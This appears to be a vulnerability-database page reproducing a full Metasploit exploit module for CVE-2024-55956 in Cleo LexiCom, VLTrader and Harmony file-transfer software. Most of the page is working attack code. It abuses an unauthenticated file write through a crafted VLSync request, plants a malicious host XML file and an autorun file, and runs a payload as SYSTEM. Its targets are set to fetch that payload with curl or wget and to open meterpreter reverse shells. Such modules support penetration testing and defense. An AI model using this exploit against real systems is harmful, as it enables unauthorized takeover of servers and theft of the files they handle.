Lucene search
K

Cleo LexiCom / VLTrader / Harmony 5.8.0.23 Remote Code Execution

🗓️ 16 Jan 2025 00:00:00Reported by remmons-r7, sfewer-r7Type 
packetstorm
 packetstorm
🔗 packetstorm.news👁 236 Views

Cleo LexiCom, VLTrader, Harmony versions vulnerable to remote code execution exploit.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Cleo LexiCom, VLTrader, and Harmony Unauthenticated Remote Code Execution',
            'Description' => %q{
              This module exploits an unauthenticated file write vulnerability in Cleo LexiCom, VLTrader, and Harmony
              versions 5.8.0.23 and below.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              # MSF Exploit & Rapid7 Analysis
              'sfewer-r7',
              'remmons-r7'
            ],
            'References' => [
              ['CVE', '2024-55956'],
              ['URL', 'https://support.cleo.com/hc/en-us/articles/28408134019735-Cleo-Product-Security-Update-CVE-2024-55956'], # Vendor Advisory
              ['URL', 'https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis'], # Rapid7 Analysis
              ['URL', 'https://www.rapid7.com/blog/post/2024/12/10/etr-widespread-exploitation-of-cleo-file-transfer-software-cve-2024-50623/'], # Rapid7 Blog
              ['URL', 'https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild'] # Huntress Blog
            ],
            'DisclosureDate' => '2024-12-09',
            'Platform' => %w[java win linux unix],
            'Arch' => [ARCH_JAVA, ARCH_CMD],
            'Privileged' => true, # 'NT AUTHORITY\SYSTEM' on Windows. On Linux it depends on how the product was installed.
            'Targets' => [
              [
                # Tested against Cleo LexiCom/5.8.0.21 on Windows Server 2022, with payloads:
                # java/meterpreter/reverse_tcp
                'Java', {
                  'Platform' => 'java',
                  'Arch' => ARCH_JAVA
                }
              ],
              [
                # Tested against Cleo LexiCom/5.8.0.21 on Windows Server 2022, with payloads:
                # cmd/windows/http/x64/meterpreter/reverse_tcp
                # cmd/windows/http/x64/meterpreter_reverse_tcp
                'Windows Command', {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    'FETCH_COMMAND' => 'CURL',
                    'FETCH_WRITABLE_DIR' => '%TEMP%'
                  }
                }
              ],
              [
                'Linux Command', {
                  'Platform' => %w[linux unix],
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    'FETCH_COMMAND' => 'WGET',
                    'FETCH_WRITABLE_DIR' => '/tmp'
                  }
                }
              ]
            ],
            'DefaultOptions' => {
              'RPORT' => 5080,
              'SSL' => false,
              # The exploit relies on the target service processing a file written to an 'autorun' folder, which is processed
              # periodically. We bump up the WfsDelay to account for this, and give the exploit payload some extra time to trigger.
              'WfsDelay' => 10
            },
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path)
        )
    
        return CheckCode::Unknown('Connection failed') unless res
    
        # We expect the server to respond with an HTTP Server header like "Cleo LexiCom/5.8.0.0 (Windows Server 2022)".
        # Note, the target product may be either LexiCom, VLTrader, or Harmony.
        if res.headers.key?('Server') && (res.headers['Server'] =~ %r{cleo\s+(?:lexicom|vltrader|harmony)/(\d+\.\d+\.\d+\.\d+)}i)
    
          if Rex::Version.new(Regexp.last_match(1)) <= Rex::Version.new('5.8.0.23')
            return CheckCode::Appears(res.headers['Server'])
          end
    
          return CheckCode::Safe(res.headers['Server'])
        end
    
        CheckCode::Unknown
      end
    
      def exploit
        jar_path = nil
        jar_file = nil
        command = nil
    
        case target['Platform']
        when 'java'
          jar_path = "temp/#{Rex::Text.rand_text_alpha_lower(8)}"
    
          jar_file = payload.encoded_jar(random: true)
    
          # The product ships its own JRE, so we can use a relative path to run our Java JAR file.
          command = "jre/bin/java -jar \"#{jar_path}\""
        when 'win'
          command = "cmd.exe /c \"#{payload.encoded}\""
        when 'linux', 'unix'
          command = "/bin/sh -c \"#{payload.encoded}\""
        else
          fail_with(Failure::BadConfig, 'Unsupported target platform')
        end
    
        if command.include? ']]>'
          # As we wrap the command in XML CDATA tags, we cannot have the closing CDATA tag in the command.
          fail_with(Failure::BadConfig, 'Payload cannot contain the CDATA closing tag "]]>"')
        end
    
        host_guid = SecureRandom.uuid
        mailbox_guid = SecureRandom.uuid
        action_guid = SecureRandom.uuid
    
        # This is based on the XML file that Huntress published (https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild)
        host_xml = %(<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <Host alias="#{host_guid}" application="" by="Administrator" class="*CwwQNwwbER4SEhA8Ex4cEDNRQQwRBwsbGk5TEQdOEAUWTkM*" created="2020/10/10 00:00:00" enabled="True" enc="#{SecureRandom.uuid}" local="True" modevent="Modified" modified="2020/10/10 00:00:00" moditem="&lt;copy&gt;myCommands@Local Commands" modtype="Actions" preconfigured="2009/10/30 15:15" ready="True" standaloneaction="False" test="False" transport="" type="" uid="#{SecureRandom.uuid}" version="1">
      <Connecttype>0</Connecttype>
      <Inbox>inbox\</Inbox>
      <Index>0</Index>
      <Indexdate>-1</Indexdate>
      <Internal>0</Internal>
      <Notes>This contains mailboxes for a local host which can be used for local commands only.</Notes>
      <Origin>Local Commands</Origin>
      <Outbox>outbox\</Outbox>
      <Port>0</Port>
      <Runninglocalrequired>True</Runninglocalrequired>
      <Secureportrequired>False</Secureportrequired>
      <Uidswpd>True</Uidswpd>
      <Advanced>ZipCompressionLevel=System Default</Advanced>
      <Advanced>XMLEncryptionAlgorithm=System Default</Advanced>
      <Advanced>HighPriorityIncomingWeight=10</Advanced>
      <Advanced>PGPHashAlgorithm=System Default</Advanced>
      <Advanced>HighPriorityOutgoingWeight=10</Advanced>
      <Advanced>PGPCompressionAlgorithm=System Default</Advanced>
      <Advanced>OutboxSort=System Default</Advanced>
      <Advanced>PGPEncryptionAlgorithm=System Default</Advanced>
      <Mailbox alias="#{mailbox_guid}" class="*BxAdExYeMgwbER4SEhA8Ex4cEDNR" created="2020/10/10 00:00:00" enabled="True" localdecryptcert="" localencryptcert="" localpackaging="None" partnerdecryptcert="" partnerdecryptpassword="" partnerencryptcert="" partnerpackaging="None" ready="True" uid="#{SecureRandom.uuid}" version="1">
        <Action actiontype="Commands" alias="#{action_guid}" by="Administrator" class="*ERAWCxw+DBsRHhISEDwTHhwQM1E*" created="2020/10/10 00:00:00" enabled="True" modified="2020/10/10 00:00:00" ready="True" uid="#{SecureRandom.uuid}" version="2">
          <Autostartup>False</Autostartup>
          <Commands><![CDATA[SYSTEM #{command}]]></Commands>
          <Filesin>0</Filesin>
          <Filesout>0</Filesout>
          <Ssl>False</Ssl>
        </Action>
      </Mailbox>
    </Host>)
    
        zip_file = Rex::Zip::Archive.new
    
        zip_file.add_file('hosts/main.xml', host_xml)
    
        zip_path = "temp/#{Rex::Text.rand_text_alpha_lower(8)}"
    
        arbitrary_file_write(zip_path, zip_file.pack)
    
        # The payload working directory will be the product install folder, e.g. "C:\LexiCom\", so we can pass relative
        # paths here for cleanup.
        register_files_for_cleanup(zip_path)
    
        # For Java payloads, we also need to write the payloads JAR file.
        if jar_file && jar_path
          arbitrary_file_write(jar_path, jar_file.pack)
    
          register_files_for_cleanup(jar_path)
        end
    
        # Install the new host via the -i switch.
        # Run the Mailbox action via the -r switch, which in turn will execute our payload.
        autorun_data = [
          "-i \"#{zip_path}\"",
          "-r \"<#{action_guid}>#{mailbox_guid}@#{host_guid}\""
        ].join("\r\n")
    
        arbitrary_file_write("autorun/#{Rex::Text.rand_text_alpha_lower(8)}", autorun_data)
    
        # Note, the autorun files will be deleted by the system after they are processed, so we do not need to register them for cleanup.
      end
    
      def arbitrary_file_write(path, data)
        boundary = Rex::Text.rand_text_alpha_lower(16)
    
        # We can trigger the file write via either of these two commands.
        multipart_vlsync_command = ['ReceivedReceipt', 'SentReceipt'].sample
    
        # These parameters can appear in any order, so we shuffle them.
        multipart_vlsync_params = [
          'service="AS2"',
          "msgId=#{Rex::Text.rand_text_alpha_lower(8)}",
          "path=\"#{path}\"",
          'receiptfolder=Unspecified'
        ].shuffle.join(';')
    
        content_data = "VLSync: #{multipart_vlsync_command};#{multipart_vlsync_params}\r\n"
        content_data << "#{boundary}\r\n"
        content_data << data
    
        # Note, the server does not process well-formed multipart form data, so we do not use Rex::MIME::Message.
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'Synchronization'),
          'headers' => {
            'VLSync' => 'Multipart;l=0,Acknowledge'
          },
          'ctype' => 'application/form-data; boundary=' + boundary,
          'data' => content_data
        )
    
        fail_with(Failure::UnexpectedReply, 'Failed to write file.') unless res&.code == 200
      end
    
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jan 2025 00:00Current
9.8High risk
Vulners AI Score9.8
CVSS 3.19.8
EPSS0.94011
236